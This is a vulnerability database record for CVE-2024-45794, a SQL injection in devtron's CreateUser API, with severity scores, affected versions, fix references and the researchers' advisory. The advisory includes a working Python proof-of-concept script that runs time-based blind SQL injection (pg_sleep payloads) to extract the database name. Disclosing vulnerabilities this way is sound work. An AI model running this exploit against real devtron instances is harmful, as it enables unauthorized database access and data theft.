{"id":"CVE-2024-45794","aliases":["CVE-2024-45794","GHSA-q78v-cv36-8fxj","GO-2024-3260"],"related":[],"kind":"vulnerability","state":"published","title":"SQL Injection in CreateUser API in devtron","summary":"devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).\n\n### Details\nThe API is CreateUser (/orchestrator/user).\n\nThe function to read user input is:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104\n\nThe userInfo (line 104) parameter can be controlled by users.\n\nThe SQL injection can happen in the code:\nhttps://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038\n\nThe query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.\n\nThe user should be authenticated but only needs minimum permissions:\n![image](https://github.com/user-attachments/assets/08ba940e-33a8-408d-9a1e-9cd1504b95c5)\n\n\n### PoC\n\nDemonstrate a blind SQL injection to retrieve the database name:\n\n```\nimport requests\nimport time\nimport string\nimport argparse\n\ndef blind(ip, token, query):\n    url = f\"http://{ip}/orchestrator/user\"\n    headers = {\"token\": token}\n    entity = \"chart-group\"\n    payload = f\"'; {query} --\"\n\n    data = {\"id\": 111, \"email_id\": \"abcd123@126.com\", \"superAdmin\": False, \"roleFilters\":[{\"team\":\"\", \"environment\":\"\", \"action\": \"\", \"entity\": entity, \"accessType\": payload}]} #\"EntityName\": \"test\", \"AccessType\": \"test\", \"Cluster\": \"\",\\\"NameSpace\": \"devtroncd\", \"Group\": \"\", \"Kind\": \"\", \"Resource\": \"\", \"Workflow\": \"\"\n    start = time.time()\n    res = requests.post(url, headers=headers, json = data)\n    end = time.time()\n    #print(res.content)\n    if(end - start > 1):\n        return True\n    return False\n\ndef main(ip, token):\n    chs = string.printable\n    result = \"\"\n    is_end = False\n    i = 1\n    while(not is_end):\n        is_end = True\n        for ch in chs:\n            if(blind(ip, token, f\"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;\")):\n                print(ch)\n                result += ch\n                is_end = False\n                break\n        i += 1\n    print(result)\n\nif __name__ == \"__main__\":\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument(\"--ip\", \"-i\", type=str, help=\"Target IP\")\n    argparser.add_argument(\"--token\", \"-t\", type=str, help=\"API TOKEN\")\n    args = argparser.parse_args()\n    main(args.ip, args.token)\n```\n\nThe debugging breakpoint indicated that the malicious SQL query was executed:\n![image](https://github.com/user-attachments/assets/c9067360-8fb3-4d64-82e9-3af1e5e60969)\n\nWe can see that we can get the database name:\n![image](https://github.com/user-attachments/assets/29d5d969-876a-452d-be7f-8984d2a28c25)\n\n\n### Impact\nSQL injection vulnerability. Our tests indicate that the latest version is affected.\n\nThe reporters are Yuan Luo, Shuai Xiong from Tencent YunDing Security Lab.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Devtron has SQL Injection in CreateUser API in github.com/devtron-labs/devtron","format":"markdown","source":"go"},{"lang":"es","text":"devtron es una plataforma de integración de herramientas de código abierto para Kubernetes. En las versiones afectadas, un usuario autenticado (con el permiso mínimo) podría utilizar y explotar la inyección SQL para permitir la ejecución de consultas SQL maliciosas a través de la API CreateUser (/orchestrator/user). Este problema se ha solucionado en la versión 0.7.2 y se recomienda a todos los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.","source":"nvd"}],"published":"2024-11-07T17:14:04.000Z","modified":"2026-06-17T07:54:49.830Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 0.7.2","status":"affected"}],"vendor":"devtron-labs","product":"devtron","source":"cvelist"},{"ranges":[{"version":"0.7.2","status":"affected"}],"vendor":"kubernetes","product":"devtron","cpe":"cpe:2.3:a:kubernetes:devtron:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.7.2"}],"ecosystem":"Go","package":"github.com/devtron-labs/devtron","purl":"pkg:golang/github.com/devtron-labs/devtron","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.7.2"}],"ecosystem":"Go","package":"github.com/devtron-labs/devtron","purl":"pkg:golang/github.com/devtron-labs/devtron","source":"go"},{"ranges":[{"status":"affected","fixed":"0.7.2"}],"vendor":"devtron","product":"devtron","cpe":"cpe:2.3:a:devtron:devtron:*:*:*:*:*:kubernetes:*:*","source":"nvd"}],"references":[{"url":"https://github.com/devtron-labs/devtron/security/advisories/GHSA-q78v-cv36-8fxj","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45794","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/devtron-labs/devtron/commit/1540271bd777b6bccd288e513a9070d8f04b6056","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/devtron-labs/devtron","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-11-07T19:31:00.457Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-45794","url":"https://www.cve.org/CVERecord?id=CVE-2024-45794","licence":"CVE Terms of Use","modified":"2024-11-07T19:33:42.084Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q78v-cv36-8fxj","url":"https://github.com/advisories/GHSA-q78v-cv36-8fxj","licence":"CC-BY-4.0","modified":"2024-11-08T17:56:59.835Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-3260","url":"https://pkg.go.dev/vuln/GO-2024-3260","licence":"CC-BY-4.0","modified":"2026-03-03T04:56:00.381Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-45794","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45794","licence":"Public domain","modified":"2026-06-17T07:54:49.830Z"}],"updatedAt":"2026-11-25T22:58:47.884Z","epss":{"score":0.00749,"percentile":0.56148,"date":"2026-12-01T12:00:22.000Z"}}